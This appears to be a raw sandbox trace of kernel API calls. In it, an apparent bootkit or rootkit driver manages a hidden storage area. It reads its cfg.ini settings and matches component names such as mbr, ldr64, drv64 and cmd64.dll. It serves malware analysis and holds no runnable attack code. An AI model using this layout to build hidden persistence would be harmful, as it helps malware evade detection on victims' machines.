0xfffffa8003aa6e20 [0127.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.786] IdePortDispatch () returned 0x103 [0127.786] KeWaitForMutexObject () returned 0x0 [0127.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.786] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.786] IdePortDispatch () returned 0x103 [0127.786] KeWaitForMutexObject () returned 0x0 [0127.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.787] KeLeaveCriticalRegion () [0127.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.787] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.787] KeEnterCriticalRegion () [0127.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.787] KeLeaveCriticalRegion () [0127.787] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.787] KeEnterCriticalRegion () [0127.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.787] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.787] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.787] KeLeaveCriticalRegion () [0127.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.787] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.787] KeEnterCriticalRegion () [0127.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.787] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.788] KeLeaveCriticalRegion () [0127.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.788] ReleaseMutex (hMutex=0xf0) returned 1 [0127.788] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.788] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.788] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.788] KeEnterCriticalRegion () [0127.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.788] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.788] IdePortDispatch () returned 0x103 [0127.788] KeWaitForMutexObject () returned 0x0 [0127.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.788] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.788] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.788] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.788] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.788] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc9b0 [0127.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.788] KeLeaveCriticalRegion () [0127.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.788] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.788] KeEnterCriticalRegion () [0127.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.788] KeLeaveCriticalRegion () [0127.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.788] KeEnterCriticalRegion () [0127.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.788] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.789] IdePortDispatch () returned 0x103 [0127.789] KeWaitForMutexObject () returned 0x0 [0127.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.789] KeLeaveCriticalRegion () [0127.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.789] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.789] KeEnterCriticalRegion () [0127.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.789] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c49000 [0127.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.789] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.789] IdePortDispatch () returned 0x103 [0127.789] KeWaitForMutexObject () returned 0x0 [0127.789] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.789] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.789] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.789] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.789] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.789] IdePortDispatch () returned 0x103 [0127.789] KeWaitForMutexObject () returned 0x0 [0127.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] KeLeaveCriticalRegion () [0127.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.790] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.790] KeEnterCriticalRegion () [0127.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] KeLeaveCriticalRegion () [0127.790] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.790] KeEnterCriticalRegion () [0127.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.790] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] KeLeaveCriticalRegion () [0127.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.790] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.790] KeEnterCriticalRegion () [0127.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] ExFreePoolWithTag (P=0xfffffa8003bfc9b0, Tag=0x0) [0127.790] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.790] KeLeaveCriticalRegion () [0127.790] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.790] ReleaseMutex (hMutex=0xf0) returned 1 [0127.790] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.791] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.791] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.791] KeEnterCriticalRegion () [0127.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.791] IdePortDispatch () returned 0x103 [0127.791] KeWaitForMutexObject () returned 0x0 [0127.791] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.791] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.791] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.791] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.791] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.791] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.791] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.791] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.791] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.791] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.791] KeLeaveCriticalRegion () [0127.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.791] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.791] KeEnterCriticalRegion () [0127.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.791] IdePortDispatch () returned 0x103 [0127.792] KeWaitForMutexObject () returned 0x0 [0127.792] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.792] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.792] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.792] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.792] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.792] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.792] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.792] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.792] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.792] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.792] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.792] KeLeaveCriticalRegion () [0127.792] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.792] ReleaseMutex (hMutex=0x100) returned 1 [0127.792] Sleep (dwMilliseconds=0x2bf20) [0127.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f5e17d0, dwHighDateTime=0x1d24fa4)) [0127.798] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.798] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.799] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.799] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.799] KeEnterCriticalRegion () [0127.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.799] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.799] IdePortDispatch () returned 0x103 [0127.799] KeWaitForMutexObject () returned 0x0 [0127.799] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.799] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.799] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.799] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.799] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.799] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc5b0 [0127.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.799] KeLeaveCriticalRegion () [0127.799] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.799] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.799] KeEnterCriticalRegion () [0127.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.799] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.799] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.799] KeLeaveCriticalRegion () [0127.799] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.799] KeEnterCriticalRegion () [0127.799] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.799] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.799] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.799] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.799] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.799] IdePortDispatch () returned 0x103 [0127.799] KeWaitForMutexObject () returned 0x0 [0127.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.800] KeLeaveCriticalRegion () [0127.800] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.800] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.800] KeEnterCriticalRegion () [0127.800] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.800] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4c000 [0127.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.800] IdePortDispatch () returned 0x103 [0127.800] KeWaitForMutexObject () returned 0x0 [0127.800] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.800] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.800] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.800] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.800] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.800] IdePortDispatch () returned 0x103 [0127.800] KeWaitForMutexObject () returned 0x0 [0127.800] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] KeLeaveCriticalRegion () [0127.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.801] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.801] KeEnterCriticalRegion () [0127.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] KeLeaveCriticalRegion () [0127.801] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.801] KeEnterCriticalRegion () [0127.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.801] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] KeLeaveCriticalRegion () [0127.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.801] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.801] KeEnterCriticalRegion () [0127.801] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] ExFreePoolWithTag (P=0xfffffa8003bfc5b0, Tag=0x0) [0127.801] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.801] KeLeaveCriticalRegion () [0127.801] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.801] ReleaseMutex (hMutex=0xf0) returned 1 [0127.801] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.802] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.802] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.802] KeEnterCriticalRegion () [0127.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.802] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.802] IdePortDispatch () returned 0x103 [0127.802] KeWaitForMutexObject () returned 0x0 [0127.802] _strnicmp 